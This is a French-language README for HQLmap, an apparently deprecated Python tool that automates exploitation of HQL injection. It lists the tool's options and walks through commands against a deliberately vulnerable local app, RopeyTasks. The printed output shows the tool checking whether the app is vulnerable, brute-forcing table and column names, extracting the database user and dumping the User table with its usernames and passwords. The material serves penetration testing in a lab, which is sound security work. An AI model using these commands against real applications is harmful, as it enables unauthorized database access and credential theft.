
(Deprecated) HQLmap, Automatic tool to exploit HQL injections
Ce projet a été créé pour exploiter les injections HQL. L'outil a été écrit en Python et est publié sous licence MIT. Développement futur : J'ai l'intention de développer un module spécifique pour SQLmap.
Si vous voulez un environnement vulnérable rapide où vous pouvez essayer l'outil, je recommande d'utiliser RopeyTasks : https://github.com/continuumsecurity/RopeyTasks/
De plus, si vous voulez plus d'informations concernant HQLi, consultez ce billet de blog : http://blog.h3xstream.com/2014/02/hql-for-pentesters.html
Pour installer ce projet, il vous suffit de cloner ce projet en tapant :
git clone [email protected]:PaulSec/HQLmap.git
Pour utiliser ce projet, allez dans le répertoire :
cd HQLmap
Et lancez le projet :
python HQLmap.py
L'utilisation est alors affichée :
Usage: HQLmap.py [options]
Options:
-h, --help show this help message and exit
--url=URL qURL to pentest
--cookie=COOKIE Cookie to test it
--param=PARAM Param to test
--postdata=POSTDATA Postdata (POST Method)
--message=BLIND_HQLI_MESSAGE
Message appearing while Blind HQLi
--tables Tries to gather as much tables as possible (With
Bruteforce)
--T=TABLE Name of the table you want to get
--table_name_file=FILE_TABLE
DB file for name of tables
--columns Tries to gather as much columns as possible (With
Bruteforce)
--C=COLUMN Name of the column you want to get
--column_name_file=FILE_COLUMN
DB file for name of columns
--check Check if host is vulnerable
--user Tries to get user() from dbms
--count Get count of specified table(s)
--dump Dump specified table(s) / column(s)
--results Enumerate results after session
--verbose Verbose mode
Cette partie inclut différents scénarios.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check
La sortie est très simple :
Host seems vulnerable.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables
Voici la sortie :
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
En effectuant cette énumération, le scanner utilise le fichier par défaut pour le nom des tables si non spécifié. Le fichier par défaut est : db/tables.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
En effectuant cette énumération, le scanner utilise le fichier par défaut pour le nom des tables ET pour le nom des colonnes. Les fichiers par défaut sont :
Pour les tables : db/tables.db Pour les colonnes : db/columns.db
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo
Et la sortie :
[-] Table foo does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns
Et la sortie :
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar
Et la sortie :
[!] Table User has been found.
[-] Column bar in User does not exist.
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count
Ou pour toutes les tables :
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count
Et la sortie :
[!] Table User has been found.
[!] Count(*) of User : 3
Pour effectuer cette action, vous devez spécifier une table (ou toutes avec le drapeau --tables) et ajouter le drapeau --user de cette manière :
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user
Et la sortie (après quelques secondes) :
[!] Table User has been found.
[!] Username of Database found : SA
Pour récupérer l'utilisateur, j'ai implémenté un algorithme très similaire à une dichotomie "variable".
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump
Et la sortie :
(redacted)
[Task]
[Name]
- Bob's shopping
- Alice's shopping
[Task]
[User_Id]
- 1
- 2
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
(redacted)
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump
Et la sortie :
[User]
[Id]
- 1
- 2
- 3
[User]
[Username]
- bob
- alice
- admin
[User]
[Password]
- password
- password
- password
[User]
[Email]
- [email protected]
- [email protected]
- [email protected]
[User]
[Firstname]
- Robert
- Alice
- Administrator
[User]
[Lastname]
- McBride
- O'Reilly
- Reynolds
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump
Et la sortie :
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
[username]
- bob
- alice
- admin
N'hésitez pas à donner des retours et à demander de nouvelles fonctionnalités.
Projet publié sous licence MIT.